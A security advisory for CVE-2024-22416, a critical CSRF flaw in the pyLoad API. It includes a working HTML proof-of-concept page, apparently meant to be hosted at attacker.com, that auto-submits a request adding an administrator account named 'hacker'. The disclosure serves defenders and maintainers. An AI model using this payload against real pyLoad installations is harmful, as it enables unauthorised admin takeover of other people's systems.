Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Date: 2024-01
Affected: pip/pyload-ng
Attack vector: other
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2024-22416
CWE: CWE-352
CVSS: 9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application. ![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png) The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`. ![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png) ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.


Mitigations:

Architectural layers (MAESTRO):